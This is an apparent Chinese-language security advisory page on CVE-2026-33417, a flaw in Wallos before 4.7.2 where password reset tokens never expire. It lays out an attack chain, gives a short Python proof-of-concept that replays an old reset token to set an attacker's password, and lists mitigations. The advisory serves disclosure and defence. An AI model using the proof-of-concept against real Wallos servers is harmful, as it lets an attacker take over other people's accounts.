IPBUF安全漏洞报告
English
CVE-2026-33417 CVSS 6.5 中危

CVE-2026-33417 Wallos密码重置令牌不过期漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33417
漏洞类型
业务逻辑漏洞
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Wallos

相关标签

逻辑漏洞Wallos认证绕过密码重置CVE-2026-33417

漏洞概述

Wallos是一款开源的、可自托管的个人订阅追踪工具。在4.7.2版本之前,该系统存在一个严重的安全逻辑缺陷,即密码重置令牌没有设置过期时间。尽管数据库中的`password_resets`表包含了`created_at`时间戳字段,但后端的令牌验证逻辑完全忽略了该时间戳的检查。这意味着一旦攻击者截获了用户的密码重置链接,该令牌将无限期有效,直到被使用。攻击者可以在数天、数周甚至数月后利用该截获的令牌重置用户密码,从而非法获取账户控制权。该问题已在版本4.7.2中得到修复。

技术细节

该漏洞的根源在于Wallos应用程序的身份验证与会话管理实现不严谨。通常,安全的密码重置流程应当生成一个具有短暂有效期(例如1小时或24小时)的令牌,并在服务器端验证时比对当前时间与令牌生成时间。然而,在受影响的版本中,虽然数据库设计层面记录了令牌生成时间,但在核心的验证代码路径中缺失了针对时效性的校验逻辑。

利用该漏洞不需要复杂的技术手段。攻击者首先需要获取受害者的密码重置令牌,这可以通过网络嗅探、中间人攻击(MITM)或访问包含重置链接的日志文件实现。由于服务器在验证`/reset-password`等接口时,仅核对令牌是否存在或格式是否正确,而不校验`created_at`字段,攻击者可以保存该令牌并在任意长的时间之后发送请求。服务器接受请求后,会允许设置新密码,导致账户被轻易接管,严重威胁用户数据的机密性和完整性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标正在使用受影响版本的Wallos订阅追踪系统。
STEP 2
2. 令牌获取
攻击者通过网络嗅探、访问日志或社会工程学手段获取受害者之前请求的密码重置令牌(链接)。
STEP 3
3. 持续潜伏
由于令牌不过期,攻击者可以等待数天或数周,直到管理员放松警惕或特定时机才进行攻击。
STEP 4
4. 发起攻击
攻击者构造包含旧令牌的HTTP请求发送给服务器,请求重置受害账户密码。
STEP 5
5. 系统响应
服务器验证逻辑未检查时间戳,判定令牌有效,允许攻击者修改密码。
STEP 6
6. 后果
攻击者利用新密码登录受害者账户,窃取订阅信息或进行进一步恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-33417 (Wallos Password Reset Token Expiration Bypass) This script demonstrates that an old password reset token can be used indefinitely. Note: This requires a valid token obtained previously. """ import requests target_url = "http://localhost/wallos" # Example token obtained from an email or log weeks ago stolen_token = "abc123xyz-old-token-2025" new_password = "AttackerPass123!" # The endpoint that processes the password reset reset_endpoint = f"{target_url}/reset-password" payload = { "token": stolen_token, "password": new_password, "confirm_password": new_password } print(f"[*] Attempting to use old token: {stolen_token}") try: response = requests.post(reset_endpoint, data=payload) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Password reset successfully using the old token!") print("[+] The vulnerability is confirmed: Token does not expire.") else: print(f"[-] Failed or invalid response. Status: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")

影响范围

Wallos < 4.7.2

防御指南

临时缓解措施
在无法立即升级的情况下,管理员应直接操作数据库,删除`password_resets`表中的所有旧记录。同时,建议临时修改后端代码(如果可访问),在验证令牌时增加SQL查询条件,例如`WHERE created_at > DATE_SUB(NOW(), INTERVAL 1 HOUR)`,以确保只接受最近生成的令牌。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表